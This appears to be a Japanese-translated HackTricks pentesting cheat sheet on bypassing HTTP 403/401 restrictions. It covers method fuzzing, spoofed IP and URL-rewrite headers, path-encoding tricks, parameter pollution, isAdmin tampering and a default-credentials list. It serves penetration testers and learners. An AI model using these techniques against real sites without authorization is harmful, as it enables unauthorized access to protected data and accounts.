403 & 401 Bypasses
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HTTP Verbs/Methods Fuzzing
異なる動詞を使用してファイルにアクセスしてみてください: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- レスポンスヘッダーを確認してください。情報が提供されるかもしれません。例えば、HEADに対する200レスポンスが
Content-Length: 55
の場合、HEAD動詞が情報にアクセスできることを意味します。しかし、その情報を抽出する方法を見つける必要があります。 X-HTTP-Method-Override: PUT
のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。TRACE
動詞を使用し、運が良ければ、レスポンスに中間プロキシによって追加されたヘッダーも表示されるかもしれません。
HTTP Headers Fuzzing
-
Hostヘッダーを任意の値に変更します(ここで機能した)
-
他のユーザーエージェントを使用してリソースにアクセスしてみてください。
-
HTTPヘッダーをファズ: HTTPプロキシヘッダー、HTTP認証ベーシックおよびNTLMブルートフォース(いくつかの組み合わせのみ)やその他の技術を試してください。これを行うために、fuzzhttpbypassというツールを作成しました。
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
Host: localhost
もしパスが保護されている場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください:
-
X-Original-URL: /admin/console
-
X-Rewrite-URL: /admin/console
-
ページがプロキシの背後にある場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。HTTPリクエストスムージング または hop-by-hopヘッダーを悪用してみてください。
-
特別なHTTPヘッダーをファズし、異なるレスポンスを探します。
-
HTTPメソッドをファズしながら特別なHTTPヘッダーをファズします。
-
Hostヘッダーを削除すると、保護をバイパスできるかもしれません。
Path Fuzzing
もし_/path_がブロックされている場合:
/%2e/path
を使用してみてください(アクセスがプロキシによってブロックされている場合、これで保護をバイパスできるかもしれません)。また、/%252e**/path
(二重URLエンコード)も試してください。- Unicodeバイパスを試みます:/%ef%bc%8fpath(URLエンコードされた文字は「/」のようなものです)ので、再エンコードされると_//path_になり、すでに_/path_の名前チェックをバイパスしているかもしれません。
- 他のパスバイパス:
- site.com/secret –> HTTP 403 Forbidden
- site.com/SECRET –> HTTP 200 OK
- site.com/secret/ –> HTTP 200 OK
- site.com/secret/. –> HTTP 200 OK
- site.com//secret// –> HTTP 200 OK
- site.com/./secret/.. –> HTTP 200 OK
- site.com/;/secret –> HTTP 200 OK
- site.com/.;/secret –> HTTP 200 OK
- site.com//;//secret –> HTTP 200 OK
- site.com/secret.json –> HTTP 200 OK (ruby)
- 次の状況でこのリストを使用します:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- 他のAPIバイパス:
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Unauthorized
- {“id”:[111]} --> 200 OK
- {“id”:111} --> 401 Unauthorized
- {“id”:{“id”:111}} --> 200 OK
- {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSONパラメータ汚染)
- user_id=ATTACKER_ID&user_id=VICTIM_ID (パラメータ汚染)
Parameter Manipulation
- param値を変更:
id=123
-->id=124
- URLに追加のパラメータを追加します:
?
id=124
—->id=124&isAdmin=true
- パラメータを削除します
- パラメータの順序を変更します
- 特殊文字を使用します。
- パラメータで境界テストを実施します — _-234_や_0_や_99999999_のような値を提供します(いくつかの例値)。
Protocol version
HTTP/1.1を使用している場合は、1.0を使用してみてください、または2.0をサポートしているかテストしてみてください。
Other Bypasses
- ドメインのIPまたはCNAMEを取得し、直接連絡してみてください。
- 一般的なGETリクエストを送信してサーバーにストレスをかけてみてください(この人がFacebookで成功した)。
- プロトコルを変更: httpからhttpsへ、またはhttpsからhttpへ
- https://archive.org/web/にアクセスし、過去にそのファイルが全世界にアクセス可能だったかどうかを確認します。
Brute Force
- パスワードを推測: 次の一般的な資格情報をテストします。被害者について何か知っていますか?それともCTFチャレンジ名は?
- ブルートフォース: 基本、ダイジェスト、NTLM認証を試してください。
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
自動ツール
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Burp Extension - 403 Bypasser
- Forbidden Buster
- NoMoreForbidden
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。